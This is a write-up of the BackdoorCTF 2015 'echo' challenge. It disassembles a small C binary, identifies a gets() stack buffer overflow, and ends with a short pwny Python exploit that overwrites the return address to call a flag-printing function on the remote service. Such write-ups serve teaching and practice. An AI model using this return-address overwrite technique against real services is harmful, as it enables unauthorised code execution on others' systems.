Posted by Ingmar ‘doskop’ Steen under BackdoorCTF 2015 with tag(s) CTF


Little Suzie started learning C. She created a simple program that echo’s back whatever you input. Here is the binary file. The vampire came across this service on the internet. nc 8002. Reports say he found a flag. See if you can get it.

Download the binary: echo.


Let’s have a quick look at the binary, shall we?

$ readelf -hl echo|egrep "Type|GNU_STACK"
  Type:                              EXEC (Executable file)
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
$ readelf -s echo|egrep "FUNC.*GLOBAL.*DEFAULT"|grep -v UND

   45: 080486b0     2 FUNC    GLOBAL DEFAULT   13 __libc_csu_fini
   55: 080486b4     0 FUNC    GLOBAL DEFAULT   14 _fini
   62: 08048640    97 FUNC    GLOBAL DEFAULT   13 __libc_csu_init
   65: 08048480     0 FUNC    GLOBAL DEFAULT   13 _start
   68: 0804862b    18 FUNC    GLOBAL DEFAULT   13 main
   69: 0804857d   115 FUNC    GLOBAL DEFAULT   13 sample
   74: 080483b0     0 FUNC    GLOBAL DEFAULT   11 _init
   75: 080485f0    59 FUNC    GLOBAL DEFAULT   13 test

So, no ASLR for the main executable, non executable stack and 3 exported functions: main, sample and test. Let’s take a look at the disassembly of those functions. The annotations in the output are mine.

$ pwny symbol-disasm echo main
push ebp
mov ebp,esp
and esp,byte -0x10
call dword 0x80485f0  ; test
mov eax,0x0

$ pwny symbol-disasm echo test
push ebp
mov ebp,esp
sub esp,byte +0x58
lea eax,[ebp-0x3a]
mov [esp],eax
call dword 0x80483f0  ; gets
mov dword [esp],0x1
call dword 0x8048420  ; sleep
mov eax,[0x804a038]   ; stderr
lea edx,[ebp-0x3a]
mov [esp+0x8],edx
mov dword [esp+0x4],0x80486db  ; "ECHO: %s\n"
mov [esp],eax
call dword 0x8048450  ; fprintf

$ pwny symbol-disasm echo sample
push ebp
mov ebp,esp
sub esp,0x88
mov dword [esp+0x4],0x80486d0  ; "r"
mov dword [esp],0x80486d2  ; "flag.txt"
call dword 0x8048460  ; fopen
mov [ebp-0xc],eax
cmp dword [ebp-0xc],byte +0x0
jnz 0x80485aa
mov eax,0x1
jmp short 0x80485ee
jmp short 0x80485c0
mov eax,[0x804a038]  ; stderr
mov [esp+0x4],eax
lea eax,[ebp-0x70]
mov [esp],eax
call dword 0x8048470  ; fputs
mov eax,[ebp-0xc]
mov [esp+0x8],eax
mov dword [esp+0x4],0x64
lea eax,[ebp-0x70]
mov [esp],eax
call dword 0x8048400  ; fgets
test eax,eax
jnz 0x80485ac
mov eax,[ebp-0xc]
mov [esp],eax
call dword 0x8048410  ; fclose
mov eax,0x0


It seems little Suzie left us some helpful code that outputs the flag and a buffer overflow vulnerability. Little Suzie has a lot to learn. Let’s write 0x3a (offset of read buffer in the stack) + 4 (saved ebp) bytes of garbage and the address of the sample function to the buffer.

#!/usr/bin/env python
from pwny import *

binary = ELF('echo')

#f = Flow.execute('./echo', redirect_stderr=True)
f = Flow.connect_tcp('', 8002)
f.writeline('A' * 62 + P(binary.get_symbol('sample').value))